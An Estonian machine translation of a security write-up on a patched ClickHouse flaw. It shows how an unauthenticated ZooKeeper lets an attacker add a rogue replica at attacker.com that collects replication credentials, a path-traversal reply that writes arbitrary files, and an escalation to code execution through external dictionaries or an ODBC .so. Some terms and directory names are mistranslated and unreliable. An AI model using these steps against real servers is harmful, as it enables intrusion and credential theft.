Miks peate loomaaia puurid suletuna hoidma?

Miks peate loomaaia puurid suletuna hoidma?

See artikkel räägib väga spetsiifilisest haavatavusest ClickHouse'i replikatsiooniprotokollis ja näitab ka, kuidas saab rünnakupinda laiendada.

ClickHouse on andmebaas suurte andmemahtude salvestamiseks, kasutades enamasti rohkem kui ühte koopiat. Klasterdamine ja replikatsioon ClickHouse'is on üles ehitatud Apache ZooKeeper (ZK) ja nõuavad kirjutamisõigust.

ZK vaikeinstallimine ei vaja autentimist, seega on tuhanded Kafka, Hadoopi ja ClickHouse'i konfigureerimiseks kasutatavad ZK-serverid avalikult saadaval.

Ründepinna vähendamiseks peaksite ZooKeeperi installimisel alati konfigureerima autentimise ja autoriseerimise

Muidugi on mõned 0-päevased Java deserialiseerimised, kuid kujutage ette, et ründaja võiks lugeda ja kirjutada ZooKeeperisse, mida kasutatakse ClickHouse'i replikatsiooniks.

Kui ClickHouse on konfigureeritud klastrirežiimis, toetab see hajutatud päringuid DDL, läbides ZK - nende jaoks luuakse lehel sõlmed /clickhouse/task_queue/ddl.

Näiteks loote sõlme /clickhouse/task_queue/ddl/query-0001 sisuga:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ja pärast seda kustutatakse testtabel klastri serverites host1 ja host2. DDL toetab ka CREATE/ALTER/DROP päringute käitamist.

Kõlab hirmutavalt? Aga kust saab ründaja serveri aadresse?

ClickHouse'i replikatsioon töötab üksikute tabelite tasemel, nii et ZK-s tabeli loomisel määratakse server, mis vastutab metaandmete vahetamise eest koopiatega. Näiteks päringu täitmisel (ZK peab olema konfigureeritud, chXX - koopia nimi, foobar - tabeli nimi):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

sõlmed luuakse veerud и metaandmed.

Sisu /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Kas selle klastri andmeid on võimalik liita? Jah, kui replikatsiooniport (TCP/9009) serveris chXX-address tulemüüri ei suleta ja replikatsiooni autentimist ei konfigureerita. Kuidas autentimisest mööda minna?

Ründaja saab ZK-s luua uue koopia, lihtsalt kopeerides selle sisu /clickhouse/tables/01-01/foobar/replicas/chXX ja tähenduse muutmine host.

Sisu /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Seejärel peate teistele koopiatele ütlema, et ründaja serveris on uus andmeplokk, mille nad peavad võtma – ZK-s luuakse sõlm /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotoonselt kasvav loendur, mis peaks olema suurem kui sündmuste logi viimane):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

kus allika_replica — eelmises etapis loodud ründaja koopia nimi, block_id — andmeploki identifikaator, saama - käsk "get block" (ja siin on käsud muude toimingute jaoks).

Järgmisena loeb iga replika logis uut sündmust ja läheb ründaja juhitavasse serverisse, et saada vastu andmeplokk (replikatsiooniprotokoll on binaarne, töötab HTTP-l). Server attacker.com saab taotlusi:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

kus XXX on replikatsiooni autentimisandmed. Mõnel juhul võib see olla konto, millel on juurdepääs andmebaasile ClickHouse'i põhiprotokolli ja HTTP-protokolli kaudu. Nagu olete näinud, muutub ründepind kriitiliselt suureks, kuna replikatsiooniks kasutatav ZooKeeper jäi ilma autentimist konfigureerimata.

Vaatame koopiast andmeploki hankimise funktsiooni, see on kirjutatud täie kindlusega, et kõik koopiad on nõuetekohase kontrolli all ja nende vahel on usaldus.

Miks peate loomaaia puurid suletuna hoidma?
replikatsiooni töötlemise kood

Funktsioon loeb failide loendit, seejärel nende nimesid, suurusi, sisu ja kirjutab need seejärel failisüsteemi. Eraldi tasub kirjeldada, kuidas failisüsteemis andmeid hoitakse.

Seal on mitu alamkataloogi /var/lib/clickhouse (vaikimisi salvestuskataloog konfiguratsioonifailist):

lipud - salvestamise kataloog lipud, kasutatakse andmete kadumise järgseks taastamiseks;
tmp — kataloog ajutiste failide hoidmiseks;
kasutaja_failid — päringutes olevate failidega tehtavad toimingud on piiratud selle kataloogiga (INTO OUTFILE ja teised);
metaandmed — sql-failid tabelikirjeldustega;
eeltöödeldud_konfiguratsioonid - töödeldud tuletatud konfiguratsioonifailid /etc/clickhouse-server;
andmed - tegelik kataloog andmete endaga, sellisel juhul luuakse siin iga andmebaasi jaoks lihtsalt eraldi alamkataloog (näiteks /var/lib/clickhouse/data/default).

Iga tabeli jaoks luuakse andmebaasi kataloogis alamkataloog. Iga veerg on eraldi fail sõltuvalt mootori formaat. Näiteks laua jaoks foobarründaja loodud, luuakse järgmised failid:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika loodab andmeploki töötlemisel saada samade nimedega faile ega valideeri neid mingil viisil.

Tähelepanelik lugeja on ilmselt juba kuulnud faili faili_nimi ebaturvalisest liitmisest funktsioonis WriteBufferFromFile. Jah, see võimaldab ründajal kirjutada suvalise sisu FS-i mis tahes kasutajaõigustega faili clickhouse. Selleks peab ründaja juhitav koopia päringule tagastama järgmise vastuse (arusaadavuse hõlbustamiseks on lisatud reavahetused):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ja pärast ühendamist ../../../../../../../../../tmp/pwned fail kirjutatakse /tmp/pwned sisuga tere loomaaiapidajast.

Failide kirjutamise võimaluse muutmiseks koodi kaugkäivituseks (RCE) on mitu võimalust.

Välissõnastikud RCE-s

Vanemates versioonides oli ClickHouse'i sätetega kataloog salvestatud kasutajaõigustega clickhouse vaikimisi. Seadefailid on XML-failid, mida teenus loeb käivitamisel ja seejärel salvestab vahemällu /var/lib/clickhouse/preprocessed_configs. Muudatuste ilmnemisel loetakse need uuesti. Kui teil on juurdepääs /etc/clickhouse-server ründaja saab luua oma väline sõnastik käivitatava tüüpi ja seejärel käivitage suvaline kood. ClickHouse'i praegused versioonid ei anna vaikimisi õigusi, kuid kui serverit järk-järgult uuendataks, võiksid sellised õigused jääda. Kui toetate ClickHouse klastrit, kontrollige seadete kataloogi õigusi, see peab kuuluma kasutajale root.

ODBC kuni RCE

Paketi installimisel luuakse kasutaja clickhouse, kuid selle kodukataloogi ei looda /nonexistent. Kuid väliste sõnaraamatute kasutamisel või muudel põhjustel loovad administraatorid kataloogi /nonexistent ja anna kasutajale clickhouse juurdepääs sellele kirjutamiseks (SSZB! u. tõlkija).

ClickHouse toetab ODBC ja saab ühenduda teiste andmebaasidega. ODBC-s saate määrata andmebaasidraiveri teegi tee (.so). ClickHouse'i vanemad versioonid võimaldasid seda teha otse päringukäsitlejas, kuid nüüd on lisatud rangem ühenduse stringi kontroll odbc-bridge, mistõttu ei ole enam võimalik päringust juhi teed määrata. Kuid kas ründaja saab ülalkirjeldatud haavatavust kasutades kodukataloogi kirjutada?

Loome faili ~/.odbc.ini sellise sisuga:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

siis käivitamisel SELECT * FROM odbc('DSN=lalala', 'test', 'test'); raamatukogu laaditakse test.so ja sai RCE (aitäh buglloc jootraha jaoks).

Need ja teised haavatavused on parandatud ClickHouse'i versioonis 19.14.3. Hoolitse oma ClickHouse'i ja ZooKeeperite eest!

Allikas: www.habr.com

Lisa kommentaar